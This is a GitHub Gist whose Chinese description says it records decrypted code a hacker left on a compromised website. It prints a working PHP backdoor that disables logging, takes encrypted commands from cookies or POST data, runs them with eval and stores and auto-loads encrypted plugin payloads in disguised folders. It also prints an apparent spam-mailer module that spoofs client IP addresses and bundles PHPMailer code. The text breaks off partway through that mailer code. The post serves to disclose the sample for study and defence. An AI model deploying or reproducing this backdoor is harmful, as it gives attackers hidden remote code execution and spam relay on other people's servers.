Last active
February 17, 2017 16:05
-
-
Save nczz/487601e5a1cc6239e09a414595f4000b to your computer and use it in GitHub Desktop.
Hacker 在網站上留下的遺跡,把原始加密版解密後發現居然還有外掛模組的部分,來紀錄一下!
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
@ini_set('error_log', NULL); | |
@ini_set('log_errors', 0); | |
@ini_set('max_execution_time', 0); | |
@error_reporting(0); | |
@set_time_limit(0); | |
if(!defined("PHP_EOL")) | |
{ | |
define("PHP_EOL", "\n"); | |
} | |
if(!defined("DIRECTORY_SEPARATOR")) | |
{ | |
define("DIRECTORY_SEPARATOR", "/"); | |
} | |
if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18')) | |
{ | |
define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1); | |
$data = NULL; | |
$data_key = NULL; | |
$GLOBALS['cs_auth'] = '31aadb8f-338c-44bc-8751-07d7575a760c'; | |
global $cs_auth; | |
function cs_GetHost() | |
{ | |
return strtolower(preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST'])); | |
} | |
function cs_GetWritableDirs() | |
{ | |
$res = Array(); | |
$analysys_queue = Array(); | |
$analysys_queue[] = cs_GetDocRoot(); | |
$self_path = $_SERVER['SCRIPT_FILENAME']; | |
while (($slash = strrpos($self_path, DIRECTORY_SEPARATOR)) !== FALSE) | |
{ | |
$self_path = substr($self_path, 0, $slash); | |
if ($self_path == cs_GetDocRoot()) | |
{ | |
break; | |
} | |
if (strlen($self_path)) | |
{ | |
$analysys_queue[] = $self_path; | |
} | |
} | |
foreach ($analysys_queue as $current_dir) | |
{ | |
if (!in_array($current_dir, $res)) | |
{ | |
$res = array_merge($res, cs_GetDirectoryList($current_dir)); | |
} | |
} | |
return cs_CheckWritable(array_unique($res)); | |
} | |
function cs_CheckWritable($dir_list) | |
{ | |
$dir_list_writable = Array(); | |
foreach ($dir_list as $dir) | |
{ | |
if (@is_writable($dir) && is_dir($dir)) | |
{ | |
$dir_list_writable[] = $dir; | |
} | |
} | |
return $dir_list_writable; | |
} | |
function cs_GetDirectoryList($dir, $depth=10) | |
{ | |
$result = array(); | |
if (!is_dir($dir)) | |
{ | |
return $result; | |
} | |
$result[] = $dir; | |
$dir_count = 0; | |
if ($depth < 1) | |
{ | |
return $result; | |
} | |
$dir = strlen($dir) == 1 ? $dir : rtrim($dir, '\\/'); | |
$h = @opendir($dir); | |
if ($h === FALSE) | |
{ | |
return $result; | |
} | |
while (($f = readdir($h)) !== FALSE) | |
{ | |
if ($f !== '.' and $f !== '..') | |
{ | |
$current_dir = "$dir/$f"; | |
if (is_dir($current_dir)) | |
{ | |
$dir_count += 1; | |
$result[] = $current_dir; | |
$result = array_merge($result, cs_GetDirectoryList($current_dir, $depth / 10)); | |
} | |
} | |
} | |
closedir($h); | |
return $result; | |
} | |
function cs_GetDocRoot() | |
{ | |
$docroot_end = strrpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['REQUEST_URI']); | |
if ($docroot_end === FALSE) | |
{ | |
return $_SERVER['DOCUMENT_ROOT']; | |
} | |
elseif ($docroot_end === 0) | |
{ | |
return "/"; | |
} | |
else | |
{ | |
return substr($_SERVER['SCRIPT_FILENAME'], 0, $docroot_end); | |
} | |
} | |
if (!function_exists('file_put_contents')) | |
{ | |
function file_put_contents($n, $d, $flag = False) | |
{ | |
$mode = $flag == 8 ? 'a' : 'w'; | |
$f = @fopen($n, $mode); | |
if ($f === False) | |
{ | |
return 0; | |
} | |
else | |
{ | |
if (is_array($d)) $d = implode($d); | |
$bytes_written = fwrite($f, $d); | |
fclose($f); | |
return $bytes_written; | |
} | |
} | |
} | |
if (!function_exists('file_get_contents')) | |
{ | |
function file_get_contents($filename) | |
{ | |
$fhandle = fopen($filename, "r"); | |
$fcontents = fread($fhandle, filesize($filename)); | |
fclose($fhandle); | |
return $fcontents; | |
} | |
} | |
function cs_decrypt_phase($data, $key) | |
{ | |
$out_data = ""; | |
for ($i=0; $i<strlen($data);) | |
{ | |
for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++) | |
{ | |
$out_data .= chr(ord($data[$i]) ^ ord($key[$j])); | |
} | |
} | |
return $out_data; | |
} | |
function cs_decrypt($data, $key) | |
{ | |
global $cs_auth; | |
return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth); | |
} | |
function cs_encrypt($data, $key) | |
{ | |
global $cs_auth; | |
return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key); | |
} | |
function cs_file_read($path) | |
{ | |
$data = @file_get_contents($path); | |
return $data; | |
} | |
function cs_file_write($path, $data) | |
{ | |
@file_put_contents($path, $data); | |
} | |
function cs_file_append($path, $data) | |
{ | |
@file_put_contents($path, $data, 8); | |
} | |
function cs_sort_comparer($a, $b) | |
{ | |
return strlen($a) - strlen($b); | |
} | |
function cs_GetCommonStorage($dirs=NULL) | |
{ | |
$self_dir = dirname(__FILE__); | |
$common_names = Array("options", "views", "pages", "sessions", "stats", "users", "articles", "dump", "headers", "libs"); | |
$tmp_dir = $self_dir . "/" . $common_names[strlen(cs_GetHost()) % count($common_names)]; | |
if (file_exists($tmp_dir)) | |
{ | |
return $tmp_dir; | |
} | |
if(mkdir($tmp_dir)) | |
{ | |
return $tmp_dir; | |
} | |
return ""; | |
} | |
function cs_plugin_add($name, $base64_data) | |
{ | |
$data = base64_decode($base64_data); | |
$storage_path = cs_GetCommonStorage() . "/"; | |
$storage_path = $storage_path . substr(md5("cache"), 0, 5) . "_" . md5($name . cs_GetHost()); | |
cs_file_write($storage_path, cs_encrypt($data, cs_GetHost())); | |
} | |
function cs_plugin_rem($name) | |
{ | |
$storage_path = cs_GetCommonStorage(). "/"; | |
$storage_path = $storage_path . substr(md5("cache"), 0, 5) . "_" . md5($name . cs_GetHost()); | |
if (file_exists($storage_path)) | |
{ | |
@unlink($storage_path); | |
} | |
} | |
function cs_plugin_load($name=NULL) | |
{ | |
$storage_path = cs_GetCommonStorage(); | |
if (is_dir($storage_path)) | |
{ | |
if ($name == NULL) // load all plugins | |
{ | |
foreach (scandir($storage_path) as $key=>$plugin_name) | |
{ | |
if (strpos($plugin_name, substr(md5("cache"), 0, 5)) !== False) | |
{ | |
@eval(cs_decrypt(cs_file_read($storage_path . "/" . $plugin_name), cs_GetHost())); | |
} | |
} | |
} | |
else | |
{ | |
$storage_path = $storage_path . "/" . substr(md5("cache"), 0, 5) . "_" . md5($name . cs_GetHost()); | |
if (file_exists($storage_path)) | |
{ | |
@eval(cs_decrypt(cs_file_read($storage_path), cs_GetHost())); | |
} | |
} | |
} | |
} | |
function cs_writable_check() | |
{ | |
if (strlen(cs_GetCommonStorage()) != 0) | |
{ | |
return True; | |
} | |
else | |
{ | |
return False; | |
} | |
} | |
foreach ($_COOKIE as $key=>$value) | |
{ | |
$data = $value; | |
$data_key = $key; | |
} | |
if (!$data) | |
{ | |
foreach ($_POST as $key=>$value) | |
{ | |
$data = $value; | |
$data_key = $key; | |
} | |
} | |
$data = @unserialize(cs_decrypt(base64_decode($data), $data_key)); | |
if (isset($data['ak']) && $cs_auth==$data['ak']) | |
{ | |
if ($data['a'] == 'i') | |
{ | |
$i = Array( | |
'pv' => @phpversion(), | |
'sv' => '1.0-2', | |
'ak' => $data['ak'], | |
); | |
echo @serialize($i); | |
exit; | |
} | |
elseif ($data['a'] == 'e') | |
{ | |
eval($data['d']); | |
} | |
elseif ($data['a'] == 'plugin') | |
{ | |
if($data['sa'] == 'add') | |
{ | |
cs_plugin_add($data['p'], $data['d']); | |
} | |
elseif($data['sa'] == 'rem') | |
{ | |
cs_plugin_rem($data['p']); | |
} | |
} | |
echo $data['ak']; | |
exit(); | |
} | |
cs_plugin_load(); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
@ini_set('error_log', NULL); | |
@ini_set('log_errors', 0); | |
@ini_set('max_execution_time', 0); | |
@set_time_limit(0); | |
if(isset($_SERVER)) | |
{ | |
$_SERVER['PHP_SELF'] = "/"; | |
$_SERVER['REMOTE_ADDR'] = "127.0.0.1"; | |
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) | |
{ | |
$_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1"; | |
} | |
} | |
if(isset($_FILES)) | |
{ | |
foreach($_FILES as $key => $file) | |
{ | |
if(!strpos($file['name'], ".jpg")) | |
{ | |
$filename = alter_macros($file['name']); | |
$filename = num_macros($filename); | |
$filename = xnum_macros($filename); | |
$_FILES[$key]["name"] = $filename; | |
} | |
} | |
} | |
function custom_strip_tags($text) | |
{ | |
$text = strip_tags($text, '<a>'); | |
$text = str_replace("<a href=\"", "[ ", $text); | |
$text = str_replace("</a>", "", $text); | |
$text = str_replace("\">", " ] ", $text); | |
return $text; | |
} | |
function is_ip($str) { | |
return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str); | |
} | |
function from_host($content) | |
{ | |
$host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']); | |
if (is_ip($host)) | |
{ | |
return $content; | |
} | |
$tokens = explode("@", $content); | |
$content = $tokens[0] . "@" . $host . ">"; | |
return $content; | |
} | |
function alter_macros($content) | |
{ | |
preg_match_all('#{(.*)}#Ui', $content, $matches); | |
for($i = 0; $i < count($matches[1]); $i++) | |
{ | |
$ns = explode("|", $matches[1][$i]); | |
$c2 = count($ns); | |
$rand = rand(0, ($c2 - 1)); | |
$content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content); | |
} | |
return $content; | |
} | |
function xnum_macros($content) | |
{ | |
preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches); | |
for($i = 0; $i < count($matches[0]); $i++) | |
{ | |
$num = $matches[1][$i]; | |
$min = pow(10, $num - 1); | |
$max = pow(10, $num) - 1; | |
$rand = rand($min, $max); | |
$content = str_replace($matches[0][$i], $rand, $content); | |
} | |
return $content; | |
} | |
function num_macros($content) | |
{ | |
preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches); | |
for($i = 0; $i < count($matches[0]); $i++) | |
{ | |
$min = $matches[1][$i]; | |
$max = $matches[2][$i]; | |
$rand = rand($min, $max); | |
$content = str_replace($matches[0][$i], $rand, $content); | |
} | |
return $content; | |
} | |
function fteil_macros($content, $fteil) | |
{ | |
return str_replace("[FTEIL]", $fteil, $content); | |
} | |
class SMTP | |
{ | |
const VERSION = '5.2.10'; | |
const CRLF = "\r\n"; | |
const DEFAULT_SMTP_PORT = 25; | |
const MAX_LINE_LENGTH = 998; | |
const DEBUG_OFF = 0; | |
const DEBUG_CLIENT = 1; | |
const DEBUG_SERVER = 2; | |
const DEBUG_CONNECTION = 3; | |
const DEBUG_LOWLEVEL = 4; | |
public $Version = '5.2.10'; | |
public $SMTP_PORT = 25; | |
public $CRLF = "\r\n"; | |
public $do_debug = self::DEBUG_OFF; | |
public $Debugoutput = 'echo'; | |
public $do_verp = false; | |
public $Timeout = 300; | |
public $Timelimit = 300; | |
protected $smtp_conn; | |
protected $error = array( | |
'error' => '', | |
'detail' => '', | |
'smtp_code' => '', | |
'smtp_code_ex' => '' | |
); | |
protected $helo_rply = null; | |
protected $server_caps = null; | |
protected $last_reply = ''; | |
protected function edebug($str, $level = 0) | |
{ | |
if ($level > $this->do_debug) { | |
return; | |
} | |
if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) { | |
call_user_func($this->Debugoutput, $str, $this->do_debug); | |
return; | |
} | |
switch ($this->Debugoutput) { | |
case 'error_log': | |
error_log($str); | |
break; | |
case 'html': | |
echo htmlentities( | |
preg_replace('/[\r\n]+/', '', $str), | |
ENT_QUOTES, | |
'UTF-8' | |
) | |
. "<br>\n"; | |
break; | |
case 'echo': | |
default: | |
$str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str); | |
echo gmdate('Y-m-d H:i:s') . "\t" . str_replace( | |
"\n", | |
"\n \t ", | |
trim($str) | |
)."\n"; | |
} | |
} | |
public function connect($host, $port = null, $timeout = 30, $options = array()) | |
{ | |
static $streamok; | |
if (is_null($streamok)) { | |
$streamok = function_exists('stream_socket_client'); | |
} | |
$this->setError(''); | |
if ($this->connected()) { | |
$this->setError('Already connected to a server'); | |
return false; | |
} | |
if (empty($port)) { | |
$port = self::DEFAULT_SMTP_PORT; | |
} | |
$this->edebug( | |
"Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true), | |
self::DEBUG_CONNECTION | |
); | |
$errno = 0; | |
$errstr = ''; | |
if ($streamok) { | |
$socket_context = stream_context_create($options); | |
$this->smtp_conn = @stream_socket_client( | |
$host . ":" . $port, | |
$errno, | |
$errstr, | |
$timeout, | |
STREAM_CLIENT_CONNECT, | |
$socket_context | |
); | |
} else { | |
$this->edebug( | |
"Connection: stream_socket_client not available, falling back to fsockopen", | |
self::DEBUG_CONNECTION | |
); | |
$this->smtp_conn = fsockopen( | |
$host, | |
$port, | |
$errno, | |
$errstr, | |
$timeout | |
); | |
} | |
if (!is_resource($this->smtp_conn)) { | |
$this->setError( | |
'Failed to connect to server', | |
$errno, | |
$errstr | |
); | |
$this->edebug( | |
'SMTP ERROR: ' . $this->error['error'] | |
. ": $errstr ($errno)", | |
self::DEBUG_CLIENT | |
); | |
return false; | |
} | |
$this->edebug('Connection: opened', self::DEBUG_CONNECTION); | |
if (substr(PHP_OS, 0, 3) != 'WIN') { | |
$max = ini_get('max_execution_time'); | |
if ($max != 0 && $timeout > $max) { | |
@set_time_limit($timeout); | |
} | |
stream_set_timeout($this->smtp_conn, $timeout, 0); | |
} | |
$announce = $this->get_lines(); | |
$this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER); | |
return true; | |
} | |
public function startTLS() | |
{ | |
if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) { | |
return false; | |
} | |
if (!stream_socket_enable_crypto( | |
$this->smtp_conn, | |
true, | |
STREAM_CRYPTO_METHOD_TLS_CLIENT | |
)) { | |
return false; | |
} | |
return true; | |
} | |
public function authenticate( | |
$username, | |
$password, | |
$authtype = null, | |
$realm = '', | |
$workstation = '' | |
) { | |
if (!$this->server_caps) { | |
$this->setError('Authentication is not allowed before HELO/EHLO'); | |
return false; | |
} | |
if (array_key_exists('EHLO', $this->server_caps)) { | |
if (!array_key_exists('AUTH', $this->server_caps)) { | |
$this->setError('Authentication is not allowed at this stage'); | |
return false; | |
} | |
self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL); | |
self::edebug( | |
'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']), | |
self::DEBUG_LOWLEVEL | |
); | |
if (empty($authtype)) { | |
foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) { | |
if (in_array($method, $this->server_caps['AUTH'])) { | |
$authtype = $method; | |
break; | |
} | |
} | |
if (empty($authtype)) { | |
$this->setError('No supported authentication methods found'); | |
return false; | |
} | |
self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL); | |
} | |
if (!in_array($authtype, $this->server_caps['AUTH'])) { | |
$this->setError("The requested authentication method \"$authtype\" is not supported by the server"); | |
return false; | |
} | |
} elseif (empty($authtype)) { | |
$authtype = 'LOGIN'; | |
} | |
switch ($authtype) { | |
case 'PLAIN': | |
if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) { | |
return false; | |
} | |
if (!$this->sendCommand( | |
'User & Password', | |
base64_encode("\0" . $username . "\0" . $password), | |
235 | |
) | |
) { | |
return false; | |
} | |
break; | |
case 'LOGIN': | |
if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) { | |
return false; | |
} | |
if (!$this->sendCommand("Username", base64_encode($username), 334)) { | |
return false; | |
} | |
if (!$this->sendCommand("Password", base64_encode($password), 235)) { | |
return false; | |
} | |
break; | |
case 'NTLM': | |
require_once 'extras/ntlm_sasl_client.php'; | |
$temp = new stdClass; | |
$ntlm_client = new ntlm_sasl_client_class; | |
if (!$ntlm_client->Initialize($temp)) { | |
$this->setError($temp->error); | |
$this->edebug( | |
'You need to enable some modules in your php.ini file: ' | |
. $this->error['error'], | |
self::DEBUG_CLIENT | |
); | |
return false; | |
} | |
$msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1 | |
if (!$this->sendCommand( | |
'AUTH NTLM', | |
'AUTH NTLM ' . base64_encode($msg1), | |
334 | |
) | |
) { | |
return false; | |
} | |
$challenge = substr($this->last_reply, 3); | |
$challenge = b64d($challenge); | |
$ntlm_res = $ntlm_client->NTLMResponse( | |
substr($challenge, 24, 8), | |
$password | |
); | |
$msg3 = $ntlm_client->TypeMsg3( | |
$ntlm_res, | |
$username, | |
$realm, | |
$workstation | |
); | |
return $this->sendCommand('Username', base64_encode($msg3), 235); | |
case 'CRAM-MD5': | |
if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) { | |
return false; | |
} | |
$challenge = b64d(substr($this->last_reply, 4)); | |
$response = $username . ' ' . $this->hmac($challenge, $password); | |
return $this->sendCommand('Username', base64_encode($response), 235); | |
default: | |
$this->setError("Authentication method \"$authtype\" is not supported"); | |
return false; | |
} | |
return true; | |
} | |
protected function hmac($data, $key) | |
{ | |
if (function_exists('hash_hmac')) { | |
return hash_hmac('md5', $data, $key); | |
} | |
$bytelen = 64; // byte length for md5 | |
if (strlen($key) > $bytelen) { | |
$key = pack('H*', md5($key)); | |
} | |
$key = str_pad($key, $bytelen, chr(0x00)); | |
$ipad = str_pad('', $bytelen, chr(0x36)); | |
$opad = str_pad('', $bytelen, chr(0x5c)); | |
$k_ipad = $key ^ $ipad; | |
$k_opad = $key ^ $opad; | |
return md5($k_opad . pack('H*', md5($k_ipad . $data))); | |
} | |
public function connected() | |
{ | |
if (is_resource($this->smtp_conn)) { | |
$sock_status = stream_get_meta_data($this->smtp_conn); | |
if ($sock_status['eof']) { | |
$this->edebug( | |
'SMTP NOTICE: EOF caught while checking if connected', | |
self::DEBUG_CLIENT | |
); | |
$this->close(); | |
return false; | |
} | |
return true; // everything looks good | |
} | |
return false; | |
} | |
public function close() | |
{ | |
$this->setError(''); | |
$this->server_caps = null; | |
$this->helo_rply = null; | |
if (is_resource($this->smtp_conn)) { | |
fclose($this->smtp_conn); | |
$this->smtp_conn = null; //Makes for cleaner serialization | |
$this->edebug('Connection: closed', self::DEBUG_CONNECTION); | |
} | |
} | |
public function data($msg_data) | |
{ | |
if (!$this->sendCommand('DATA', 'DATA', 354)) { | |
return false; | |
} | |
$lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data)); | |
$field = substr($lines[0], 0, strpos($lines[0], ':')); | |
$in_headers = false; | |
if (!empty($field) && strpos($field, ' ') === false) { | |
$in_headers = true; | |
} | |
foreach ($lines as $line) { | |
$lines_out = array(); | |
if ($in_headers and $line == '') { | |
$in_headers = false; | |
} | |
while (isset($line[self::MAX_LINE_LENGTH])) { | |
$pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' '); | |
if (!$pos) { | |
$pos = self::MAX_LINE_LENGTH - 1; | |
$lines_out[] = substr($line, 0, $pos); | |
$line = substr($line, $pos); | |
} else { | |
$lines_out[] = substr($line, 0, $pos); | |
$line = substr($line, $pos + 1); | |
} | |
if ($in_headers) { | |
$line = "\t" . $line; | |
} | |
} | |
$lines_out[] = $line; | |
foreach ($lines_out as $line_out) { | |
if (!empty($line_out) and $line_out[0] == '.') { | |
$line_out = '.' . $line_out; | |
} | |
$this->client_send($line_out . self::CRLF); | |
} | |
} | |
$savetimelimit = $this->Timelimit; | |
$this->Timelimit = $this->Timelimit * 2; | |
$result = $this->sendCommand('DATA END', '.', 250); | |
$this->Timelimit = $savetimelimit; | |
return $result; | |
} | |
public function hello($host = '') | |
{ | |
return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host)); | |
} | |
protected function sendHello($hello, $host) | |
{ | |
$noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250); | |
$this->helo_rply = $this->last_reply; | |
if ($noerror) { | |
$this->parseHelloFields($hello); | |
} else { | |
$this->server_caps = null; | |
} | |
return $noerror; | |
} | |
protected function parseHelloFields($type) | |
{ | |
$this->server_caps = array(); | |
$lines = explode("\n", $this->last_reply); | |
foreach ($lines as $n => $s) { | |
$s = trim(substr($s, 4)); | |
if (!$s) { | |
continue; | |
} | |
$fields = explode(' ', $s); | |
if (!empty($fields)) { | |
if (!$n) { | |
$name = $type; | |
$fields = $fields[0]; | |
} else { | |
$name = array_shift($fields); | |
if ($name == 'SIZE') { | |
$fields = ($fields) ? $fields[0] : 0; | |
} | |
} | |
$this->server_caps[$name] = ($fields ? $fields : true); | |
} | |
} | |
} | |
public function mail($from) | |
{ | |
$useVerp = ($this->do_verp ? ' XVERP' : ''); | |
return $this->sendCommand( | |
'MAIL FROM', | |
'MAIL FROM:<' . $from . '>' . $useVerp, | |
250 | |
); | |
} | |
public function quit($close_on_error = true) | |
{ | |
$noerror = $this->sendCommand('QUIT', 'QUIT', 221); | |
$err = $this->error; //Save any error | |
if ($noerror or $close_on_error) { | |
$this->close(); | |
$this->error = $err; //Restore any error from the quit command | |
} | |
return $noerror; | |
} | |
public function recipient($toaddr) | |
{ | |
return $this->sendCommand( | |
'RCPT TO', | |
'RCPT TO:<' . $toaddr . '>', | |
array(250, 251) | |
); | |
} | |
public function reset() | |
{ | |
return $this->sendCommand('RSET', 'RSET', 250); | |
} | |
protected function sendCommand($command, $commandstring, $expect) | |
{ | |
if (!$this->connected()) { | |
$this->setError("Called $command without being connected"); | |
return false; | |
} | |
$this->client_send($commandstring . self::CRLF); | |
$this->last_reply = $this->get_lines(); | |
$matches = array(); | |
if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) { | |
$code = $matches[1]; | |
$code_ex = (count($matches) > 2 ? $matches[2] : null); | |
$detail = preg_replace( | |
"/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m", | |
'', | |
$this->last_reply | |
); | |
} else { | |
$code = substr($this->last_reply, 0, 3); | |
$code_ex = null; | |
$detail = substr($this->last_reply, 4); | |
} | |
$this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER); | |
if (!in_array($code, (array)$expect)) { | |
$this->setError( | |
"$command command failed", | |
$detail, | |
$code, | |
$code_ex | |
); | |
$this->edebug( | |
'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply, | |
self::DEBUG_CLIENT | |
); | |
return false; | |
} | |
$this->setError(''); | |
return true; | |
} | |
public function sendAndMail($from) | |
{ | |
return $this->sendCommand('SAML', "SAML FROM:$from", 250); | |
} | |
public function verify($name) | |
{ | |
return $this->sendCommand('VRFY', "VRFY $name", array(250, 251)); | |
} | |
public function noop() | |
{ | |
return $this->sendCommand('NOOP', 'NOOP', 250); | |
} | |
public function turn() | |
{ | |
$this->setError('The SMTP TURN command is not implemented'); | |
$this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT); | |
return false; | |
} | |
public function client_send($data) | |
{ | |
$this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT); | |
return fwrite($this->smtp_conn, $data); | |
} | |
public function getError() | |
{ | |
return $this->error; | |
} | |
public function getServerExtList() | |
{ | |
return $this->server_caps; | |
} | |
public function getServerExt($name) | |
{ | |
if (!$this->server_caps) { | |
$this->setError('No HELO/EHLO was sent'); | |
return null; | |
} | |
// the tight logic knot ;) | |
if (!array_key_exists($name, $this->server_caps)) { | |
if ($name == 'HELO') { | |
return $this->server_caps['EHLO']; | |
} | |
if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) { | |
return false; | |
} | |
$this->setError('HELO handshake was used. Client knows nothing about server extensions'); | |
return null; | |
} | |
return $this->server_caps[$name]; | |
} | |
public function getLastReply() | |
{ | |
return $this->last_reply; | |
} | |
protected function get_lines() | |
{ | |
if (!is_resource($this->smtp_conn)) { | |
return ''; | |
} | |
$data = ''; | |
$endtime = 0; | |
stream_set_timeout($this->smtp_conn, $this->Timeout); | |
if ($this->Timelimit > 0) { | |
$endtime = time() + $this->Timelimit; | |
} | |
while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) { | |
$str = @fgets($this->smtp_conn, 515); | |
$this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL); | |
$this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL); | |
$data .= $str; | |
$this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL); | |
if ((isset($str[3]) and $str[3] == ' ')) { | |
break; | |
} | |
$info = stream_get_meta_data($this->smtp_conn); | |
if ($info['timed_out']) { | |
$this->edebug( | |
'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)', | |
self::DEBUG_LOWLEVEL | |
); | |
break; | |
} | |
if ($endtime and time() > $endtime) { | |
$this->edebug( | |
'SMTP -> get_lines(): timelimit reached ('. | |
$this->Timelimit . ' sec)', | |
self::DEBUG_LOWLEVEL | |
); | |
break; | |
} | |
} | |
return $data; | |
} | |
public function setVerp($enabled = false) | |
{ | |
$this->do_verp = $enabled; | |
} | |
public function getVerp() | |
{ | |
return $this->do_verp; | |
} | |
protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '') | |
{ | |
$this->error = array( | |
'error' => $message, | |
'detail' => $detail, | |
'smtp_code' => $smtp_code, | |
'smtp_code_ex' => $smtp_code_ex | |
); | |
} | |
public function setDebugOutput($method = 'echo') | |
{ | |
$this->Debugoutput = $method; | |
} | |
public function getDebugOutput() | |
{ | |
return $this->Debugoutput; | |
} | |
public function setDebugLevel($level = 0) | |
{ | |
$this->do_debug = $level; | |
} | |
public function getDebugLevel() | |
{ | |
return $this->do_debug; | |
} | |
public function setTimeout($timeout = 0) | |
{ | |
$this->Timeout = $timeout; | |
} | |
public function getTimeout() | |
{ | |
return $this->Timeout; | |
} | |
} | |
class PHPMailer | |
{ | |
public $Version = '5.2.9'; | |
public $Priority = 3; | |
public $CharSet = 'iso-8859-1'; | |
public $ContentType = 'text/plain'; | |
public $Encoding = '8bit'; | |
public $ErrorInfo = ''; | |
public $From = 'root@localhost'; | |
public $FromName = 'Root User'; | |
public $Sender = ''; | |
public $ReturnPath = ''; | |
public $Subject = ''; | |
public $Body = ''; | |
public $AltBody = ''; | |
public $Ical = ''; | |
protected $MIMEBody = ''; | |
protected $MIMEHeader = ''; | |
protected $mailHeader = ''; | |
public $WordWrap = 0; | |
public $Mailer = 'mail'; | |
public $Sendmail = '/usr/sbin/sendmail'; | |
public $UseSendmailOptions = true; | |
public $PluginDir = ''; | |
public $ConfirmReadingTo = ''; | |
public $Hostname = ''; | |
public $MessageID = ''; | |
public $MessageDate = ''; | |
public $Host = 'localhost'; | |
public $Port = 25; | |
public $Helo = ''; | |
public $SMTPSecure = ''; | |
public $SMTPAuth = false; | |
public $Username = ''; | |
public $Password = ''; | |
public $AuthType = ''; | |
public $Realm = ''; | |
public $Workstation = ''; | |
public $Timeout = 300; | |
public $SMTPDebug = 0; | |
public $Debugoutput = 'echo'; | |
public $SMTPKeepAlive = false; | |
public $SingleTo = false; | |
public $SingleToArray = array(); | |
public $do_verp = false; | |
public $AllowEmpty = false; | |
public $LE = "\n"; | |
public $DKIM_selector = ''; | |
public $DKIM_identity = ''; | |
public $DKIM_passphrase = ''; | |
public $DKIM_domain = ''; | |
public $DKIM_private = ''; | |
public $action_function = ''; | |
public $XMailer = ''; | |
protected $smtp = null; | |
protected $to = array(); | |
protected $cc = array(); | |
protected $bcc = array(); | |
protected $ReplyTo = array(); | |
protected $all_recipients = array(); | |
protected $attachment = array(); | |
protected $CustomHeader = array(); | |
protected $lastMessageID = ''; | |
protected $message_type = ''; | |
protected $boundary = array(); | |
protected $language = array(); | |
protected $error_count = 0; | |
protected $sign_cert_file = ''; | |
protected $sign_key_file = ''; | |
protected $sign_key_pass = ''; | |
protected $exceptions = false; | |
const STOP_MESSAGE = 0; | |
const STOP_CONTINUE = 1; | |
const STOP_CRITICAL = 2; | |
const CRLF = "\r\n"; | |
public function __construct($exceptions = false) | |
{ | |
$this->exceptions = (boolean)$exceptions; | |
} | |
public function __destruct() | |
{ | |
} | |
private function mailPassthru($to, $subject, $body, $header, $params) | |
{ | |
//Check overloading of mail function to avoid double-encoding | |
if (ini_get('mbstring.func_overload') & 1) { | |
$subject = $this->secureHeader($subject); | |
} else { | |
$subject = $this->encodeHeader($this->secureHeader($subject)); | |
} | |
if (ini_get('safe_mode') || !($this->UseSendmailOptions)) { | |
$result = @mail($to, $subject, $body, $header); | |
} else { | |
$result = @mail($to, $subject, $body, $header, $params); | |
} | |
return $result; | |
} | |
protected function edebug($str) | |
{ | |
if ($this->SMTPDebug <= 0) { | |
return; | |
} | |
//Avoid clash with built-in function names | |
if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) { | |
call_user_func($this->Debugoutput, $str, $this->SMTPDebug); | |
return; | |
} | |
switch ($this->Debugoutput) { | |
case 'error_log': | |
//Don't output, just log | |
error_log($str); | |
break; | |
case 'html': | |
//Cleans up output a bit for a better looking, HTML-safe output | |
